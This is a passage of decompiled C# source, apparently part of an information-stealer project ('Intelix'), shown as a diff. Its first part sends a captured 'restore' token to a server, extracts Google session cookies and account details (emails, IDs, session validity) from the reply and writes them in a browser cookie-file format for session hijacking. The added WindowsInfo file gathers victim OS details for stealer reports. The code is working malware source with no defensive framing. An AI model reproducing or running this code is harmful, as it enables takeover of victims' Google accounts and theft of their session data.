using (Stream stream = httpWebRequest.GetRequestStream())
{
stream.Write(bytes, 0, bytes.Length);
}
using HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
if (httpWebResponse.StatusCode == HttpStatusCode.OK)
{
using (StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream()))
{
return streamReader.ReadToEnd();
}
}
}
catch (Exception)
{
}
return string.Empty;
}
public static string CRestore(string restore)
{
try
{
string text = SendPostRequest(restore);
if (string.IsNullOrEmpty(text))
{
return string.Empty;
}
text = text.Remove(0, 5);
Root obj = new Root
{
status = Regex.Match(text, "\"status\":\"(.*?)\"").Groups[1].Value,
cookies = ExtractCookies(text),
accounts = ExtractAccounts(text)
};
StringBuilder stringBuilder = new StringBuilder();
foreach (Cookie cookie in obj.cookies)
{
string text2 = (string.IsNullOrEmpty(cookie.host) ? cookie.domain : cookie.host);
text2 = (string.IsNullOrEmpty(text2) ? ".google.com" : text2);
stringBuilder.AppendLine(text2 + "\tTRUE\t" + cookie.path + "\tFALSE\t" + cookie.maxAge + "\t" + cookie.name + "\t" + cookie.value);
}
return stringBuilder.ToString();
}
catch
{
}
return string.Empty;
}
private static List<Cookie> ExtractCookies(string json)
{
List<Cookie> list = new List<Cookie>();
foreach (Match item2 in Regex.Matches(json, "{(.*?)}"))
{
string value = item2.Value;
int result;
Cookie item = new Cookie
{
name = Regex.Match(value, "\"name\":\"(.*?)\"").Groups[1].Value,
value = Regex.Match(value, "\"value\":\"(.*?)\"").Groups[1].Value,
domain = Regex.Match(value, "\"domain\":\"(.*?)\"").Groups[1].Value,
path = Regex.Match(value, "\"path\":\"(.*?)\"").Groups[1].Value,
isSecure = Regex.IsMatch(value, "\"isSecure\":true"),
isHttpOnly = Regex.IsMatch(value, "\"isHttpOnly\":true"),
maxAge = (int.TryParse(Regex.Match(value, "\"maxAge\":(\\d+)").Groups[1].Value, out result) ? result : 0),
priority = Regex.Match(value, "\"priority\":\"(.*?)\"").Groups[1].Value,
sameParty = Regex.Match(value, "\"sameParty\":\"(.*?)\"").Groups[1].Value,
sameSite = Regex.Match(value, "\"sameSite\":\"(.*?)\"").Groups[1].Value,
host = Regex.Match(value, "\"host\":\"(.*?)\"").Groups[1].Value
};
list.Add(item);
}
return list;
}
private static List<Account> ExtractAccounts(string json)
{
List<Account> list = new List<Account>();
foreach (Match item2 in Regex.Matches(json, "{(.*?)}"))
{
string value = item2.Value;
int result;
Account item = new Account
{
type = Regex.Match(value, "\"type\":\"(.*?)\"").Groups[1].Value,
display_name = Regex.Match(value, "\"display_name\":\"(.*?)\"").Groups[1].Value,
display_email = Regex.Match(value, "\"display_email\":\"(.*?)\"").Groups[1].Value,
photo_url = Regex.Match(value, "\"photo_url\":\"(.*?)\"").Groups[1].Value,
selected = Regex.IsMatch(value, "\"selected\":true"),
default_user = Regex.IsMatch(value, "\"default_user\":true"),
authuser = (int.TryParse(Regex.Match(value, "\"authuser\":(\\d+)").Groups[1].Value, out result) ? result : 0),
valid_session = Regex.IsMatch(value, "\"valid_session\":true"),
obfuscated_id = Regex.Match(value, "\"obfuscated_id\":\"(.*?)\"").Groups[1].Value,
is_verified = Regex.IsMatch(value, "\"is_verified\":true")
};
list.Add(item);
}
return list;
}
}
+88
View File
@@ -0,0 +1,88 @@
using System;
using Microsoft.Win32;
namespace Intelix.Helper;
public static class WindowsInfo
{
public static string GetProductName()
{
try
{
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion");
if (registryKey == null)
{
return "Unknown";
}
string obj = (registryKey.GetValue("ProductName") as string) ?? "Unknown";
string text = (registryKey.GetValue("ReleaseId") as string) ?? (registryKey.GetValue("DisplayVersion") as string) ?? "";
return (obj + " " + text).Trim();
}
catch
{
return "Unknown";
}
}
public static string GetBuildNumber()
{
try
{
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion");
if (registryKey == null)
{
return "Unknown";
}
return registryKey.GetValue("CurrentBuild")?.ToString() ?? registryKey.GetValue("CurrentBuildNumber")?.ToString() ?? "Unknown";
}
catch
{
return "Unknown";
}
}
public static string GetArchitecture()
{
try
{
return Environment.Is64BitOperatingSystem ? "x64" : "x86";
}
catch
{
return "Unknown";
}
}
public static string GetVersion()
{
try
{
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion");
if (registryKey == null)
{
return "Unknown";
}
object value = registryKey.GetValue("CurrentMajorVersionNumber");
object value2 = registryKey.GetValue("CurrentMinorVersionNumber");
if (value != null && value2 != null)
{
return $"{value}.{value2}";
}
string text = registryKey.GetValue("CurrentVersion") as string;
if (!string.IsNullOrEmpty(text))
{
return text;
}
return "Unknown";
}
catch
{
return "Unknown";
}
}
public static string GetFullInfo()
{
return "OS Product: " + GetProductName() + "\nOS Build: " + GetBuildNumber() + "\nOS Arch: " + GetArchitecture();
}
}